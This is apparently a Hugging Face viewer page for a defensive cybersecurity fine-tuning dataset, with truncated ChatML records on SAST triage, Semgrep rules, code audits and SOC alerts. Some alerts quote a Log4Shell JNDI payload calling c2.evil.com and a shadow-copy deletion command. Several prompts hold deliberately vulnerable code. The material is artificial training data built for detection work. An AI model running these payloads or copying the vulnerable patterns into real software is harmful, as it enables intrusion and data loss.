Dataset Viewer
Auto-converted to Parquet Duplicate
messages
listlengths
3
3
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'hardcoded-rsa-private-key-rule' to detect \"...-----BEGIN RSA PRIVATE KEY-----\"....
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'flask-template-xss-v336' to detect flask.render_template_string($INPUT) in python...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nhmac.compa...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'cors-wildcard-origin-v501' to detect \"Access-Control-Allow-Origin\": \"*\" in py...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nroot = def...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Security verification required: Does this React Frontend snippet have any OWASP Top 10 vulnerabilitie...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4769: Service ticket requested for MSSQLSvc/db.corp.lo...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'subprocess-shell-true-v612' to detect subprocess.$FUNC(..., shell=True, ...) in p...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\ndef encrypt(key, data):\n aesgcm = AESGCM(k...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'insecure-sha1-v593' to detect hashlib.sha1(...) in python. Enforce valid schema."...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'hardcoded-rsa-private-key-v992' to detect \"...-----BEGIN RSA PRIVATE KEY-----\"....
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Inspect this AI-generated code block before we push to production:\n```\nfunc runPing(ip string) {\n exec.Command(\"sh\", \"-c\", ...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nif user_to...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'c-unsafe-strcat-v785' to detect strcat($DST, $SRC) in c. Enforce valid schema." ...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'bind-all-interfaces-v748' to detect socket.bind(('0.0.0.0', ...)) in python. Enfo...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Is this AI implementation secure against OWASP Top 10 exploits?\n```\nvoid log_msg(const char *user, const char *action) {\n char ...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'detect-exec-v537' to detect exec(...) in python. Enforce valid schema." }, { ...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4768: Kerberos TGT requested with TicketLifetime: 8760...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'yaml-unsafe-load-v136' to detect yaml.load($INPUT, Loader=yaml.Loader) in python....
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Perform static security triage on this pull request code snippet:\n```\ndef parse_cfg(yaml_str):\n return yaml.load(yaml_str, Load...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nCloudTrail: AttachUserPolicy with AdministratorAccess performed...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Is this AI implementation secure against OWASP Top 10 exploits?\n```\n@app.route('/download')\ndef download():\n f = request.args....
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Inspect this AI-generated code block before we push to production:\n```\ndef encrypt(key, data):\n aesgcm = AESGCM(key)\n retur...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nroot = def...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nif user_to...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nopen(os.pa...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nhmac.compa...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'insecure-tempfile-mktemp-v321' to detect tempfile.mktemp(...) in python. Enforce ...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\ndef parse_cfg(yaml_str):\n return yaml.load...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'requests-verify-false-v729' to detect requests.$REQ(..., verify=False, ...) in py...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'sqlite3-string-concat-v491' to detect cursor.execute(f\"...{$USER}...\") in pytho...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'c-unsafe-sprintf-v119' to detect sprintf($DST, ...) in c. Enforce valid schema." ...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'js-eval-code-v583' to detect eval($CODE) in javascript. Enforce valid schema." ...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'detect-exec-v945' to detect exec(...) in python. Enforce valid schema." }, { ...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4769: Service ticket requested for MSSQLSvc/db.corp.lo...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4769: Service ticket requested for MSSQLSvc/db.corp.lo...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'requests-verify-false-v863' to detect requests.$REQ(..., verify=False, ...) in py...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Triage and harden this Node.js (jsonwebtoken) implementation against production attacks:\n```javascri...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'hardcoded-aws-access-key-v613' to detect \"...AKIA[0-9A-Z]{16}...\" in python. En...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Perform static security triage on this pull request code snippet:\n```\ndef auth_user(cursor, username, password):\n cursor.execut...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'js-eval-code-v690' to detect eval($CODE) in javascript. Enforce valid schema." ...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\ndef parse_cfg(yaml_str):\n return yaml.load...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nGET /search?q=${jndi:ldap://c2.evil.com:1389/Exploit} HTTP/1.1 ...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Audit this AI-written Node.js (child_process) component for security flaws before deployment:\n```jav...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Security verification required: Does this Node.js (Express & File Serving) snippet have any OWASP Top...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Audit this AI-written Node.js (CORS Configuration) component for security flaws before deployment:\n`...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Is this AI implementation secure against OWASP Top 10 exploits?\n```\nfunc runPing(ip string) {\n exec.Command(\"sh\", \"-c\", \"p...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 10: procdump.exe opened handle with PROCESS_ALL_AC...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nGET /search?q=${jndi:ldap://c2.evil.com:1389/Exploit} HTTP/1.1 ...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\nvoid log_msg(const char *user, const char *act...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4768: Kerberos TGT requested with TicketLifetime: 8760...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'pickle-loads-untrusted-v582' to detect pickle.loads(...) in python. Enforce valid...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'detect-exec-rule' to detect exec(...) in python. Enforce valid schema." }, { ...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 10: procdump.exe opened handle with PROCESS_ALL_AC...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nCloudTrail: AttachUserPolicy with AdministratorAccess performed...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'go-command-exec-rule' to detect exec.Command(\"sh\", \"-c\", $CMD) in generic. En...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 10: procdump.exe opened handle with PROCESS_ALL_AC...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Our team used Cursor / GitHub Copilot to write this Node.js (CORS Configuration) code. Review it for ...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Our team used Cursor / GitHub Copilot to write this Node.js (Object Manipulation) code. Review it for...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'cors-wildcard-origin-v355' to detect \"Access-Control-Allow-Origin\": \"*\" in py...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\nfunc runPing(ip string) {\n exec.Command(\"...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 10: procdump.exe opened handle with PROCESS_ALL_AC...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 1: vssadmin.exe Delete Shadows /All /Quiet execute...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Inspect this AI-generated code block before we push to production:\n```\ndef auth_user(cursor, username, password):\n cursor.execu...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nsubprocess...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4624: Logon Type 9 (NewCredentials) using seclogo from...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'yaml-unsafe-load-v592' to detect yaml.load($INPUT, Loader=yaml.Loader) in python....
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nif os.path...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Our developer used Copilot to write this function. Audit it for vulnerabilities:\n```\ndef verify_token(token: str):\n return jwt....
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "[AI CODE AUDIT REQUEST: Node.js (jsonwebtoken)]\nReview this AI-generated code written for our web ap...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'requests-verify-false-v321' to detect requests.$REQ(..., verify=False, ...) in py...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Our team used Cursor / GitHub Copilot to write this React Frontend code. Review it for vulnerabilitie...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'yaml-unsafe-load-v167' to detect yaml.load($INPUT, Loader=yaml.Loader) in python....
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\ncursor.exe...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nif os.path...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nroot = def...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nPeriodic HTTP POST to /submit.php?id=9821 with 60s interval and...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nPeriodic HTTP POST to /submit.php?id=9821 with 60s interval and...
[ { "role": "system", "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression." }, { "role": "user", "content": "A static security scanner flagged this code snippet with a HIGH severity warning:\n```\nif user_to...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nSysmon Event 10: procdump.exe opened handle with PROCESS_ALL_AC...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nEvent ID 4769: Service ticket requested for MSSQLSvc/db.corp.lo...
[ { "role": "system", "content": "You are an expert static analysis rule engineer who writes 100% valid, production-ready Semgrep YAML rules." }, { "role": "user", "content": "Write a valid Semgrep YAML rule with id 'jwt-verify-false-v798' to detect jwt.decode(..., options={'verify_signature': Fal...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Audit this AI-written Node.js (Express & File Serving) component for security flaws before deployment...
[ { "role": "system", "content": "You are a Tier 3 Security Operations Center (SOC) Incident Response Analyst and Threat Forensics Specialist." }, { "role": "user", "content": "[SOC Telemetry Triage] Analyze this incident alert:\n```\nPeriodic HTTP POST to /submit.php?id=9821 with 60s interval and...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Perform static security triage on this pull request code snippet:\n```\n@app.route('/proxy')\ndef proxy():\n url = request.args.ge...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Perform static security triage on this pull request code snippet:\n```\ndef encrypt(key, data):\n aesgcm = AESGCM(key)\n return...
[ { "role": "system", "content": "You are a Principal Application Security Architect who audits and hardens AI-generated software." }, { "role": "user", "content": "Is this AI implementation secure against OWASP Top 10 exploits?\n```\ndef parse_cfg(yaml_str):\n return yaml.load(yaml_str, Loader...
[ { "role": "system", "content": "You are a Principal Full-Stack Application Security Architect specializing in React, Node.js, and JavaScript ecosystem security." }, { "role": "user", "content": "Security verification required: Does this React Frontend snippet have any OWASP Top 10 vulnerabilitie...
End of preview. Expand in Data Studio

πŸ›‘οΈ Cybersecurity Dataset V3 (Enterprise Defensive & Operations Benchmark Corpus)

Cybersecurity Dataset V3 is a production-grade cybersecurity instruction-tuning dataset engineered for training defensive security language models. It serves as the primary fine-tuning corpus for CyberQwen-14B-Security (Model V1).

The dataset contains 4,500 curated conversational instances structured in the standard OpenAI / ChatML multi-turn format (system, user, assistant), split into:

  • Train Split (train.jsonl): 4,050 high-quality enterprise security examples (90%).
  • Validation Split (eval.jsonl): 450 holdout validation examples (10%).

πŸ” Data Provenance & Sources: Where the Data Came From

Cybersecurity Dataset V3 was curated across four specialized defensive cybersecurity domains:

  1. Software Vulnerability Remediation (OWASP Top 10 & CWE Top 25):
    • Source data derived from OSV.dev (Open Source Vulnerabilities), GitHub Security Advisories (GHSA), and NVD (National Vulnerability Database).
    • Covers critical weaknesses including SQL Injection (CWE-89), OS Command Injection (CWE-78), Path Traversal (CWE-22), Insecure Deserialization (CWE-502), Buffer Overflows (CWE-120), and Server-Side Request Forgery (SSRF, CWE-918).
  2. SOC Threat Forensics & Incident Response Telemetry:
    • Real-world and simulated enterprise security telemetry:
      • Windows Security Event Logs: Event ID 4688 (Process Creation with Command Line), Event ID 4624 (Successful Logon), Event ID 7045 (Service Installation).
      • Linux Threat Telemetry: Auditd syscall records and Sysmon for Linux activity.
      • Kerberoasting, Mimikatz LSASS credential dumps, Log4Shell (CVE-2021-44228) exploitation chains, and Command-and-Control (C2) beaconing patterns.
      • Structured to teach language models MITRE ATT&CK enterprise tactic and technique attribution.
  3. DevSecOps False-Positive Triage & Alert Noise Suppression:
    • Pairs of secure, compliant source code matched with static analysis scanner alerts (Snyk, SonarQube, Bandit, CodeQL).
    • Demonstrates that safe coding idioms (e.g., parameterized queries, subprocess.run(..., shell=False), os.path.commonpath(), safe YAML loaders) are compliant, training the model to suppress false positive alerts and explain compliance rationale.
  4. Semgrep Static Analysis Rule Engineering:
    • Schema-validated Semgrep rules across Python, JavaScript, TypeScript, Go, and C.
    • Every rule is validated directly against the native semgrep --validate schema requiring exact keys (id, message, severity, languages, pattern).

πŸ“‹ Data Schema

The dataset is formatted using ChatML multi-turn conversational records:

{
  "messages": [
    {
      "role": "system",
      "content": "You are a Principal DevSecOps Security Engineer specializing in Static Analysis (SAST) alert triage and false-positive suppression."
    },
    {
      "role": "user",
      "content": "SAST scanner flagged this Python database function for CWE-89 SQL Injection. Review the implementation and determine if this is a true positive or false positive:\n\n```python\nimport sqlite3\ndef fetch_user(db, username):\n    cursor = db.cursor()\n    cursor.execute('SELECT id, email FROM users WHERE username = ?', (username,))\n    return cursor.fetchone()\n```"
    },
    {
      "role": "assistant",
      "content": "### Triage Verdict: FALSE POSITIVE\n\n**Technical Rationale:**\nThe query utilizes parameterized binding with a placeholder (`?`) and passes the `username` variable as a tuple parameter to the database driver. The database engine pre-compiles the query structure prior to binding the parameter values, preventing arbitrary SQL execution..."
    }
  ]
}

πŸ“Š Core Performance

Models fine-tuned on this dataset (specifically CyberQwen-14B-Security) demonstrate:

  • 84.0% Overall Defensive Score on the Enterprise Cybersecurity Defensive Benchmark across 100 scenarios.
  • 88.0% Accuracy on DevSecOps False Positive Triage.
  • 96.0% Accuracy on Semgrep AST Static Rule Synthesis.
  • 84.0% Accuracy on Vulnerability Remediation.
  • 68.0% Accuracy on SOC Threat Forensics.

πŸš€ Associated Models


βš–οΈ Intended Use & Ethics

This dataset is released exclusively for defensive cybersecurity research, vulnerability eradication, and security automation. It does NOT contain weaponized offensive exploits or dual-use malware automation.

Downloads last month
164

Models trained or fine-tuned on AarthShah/cybersecurity-dataset-v3

Space using AarthShah/cybersecurity-dataset-v3 1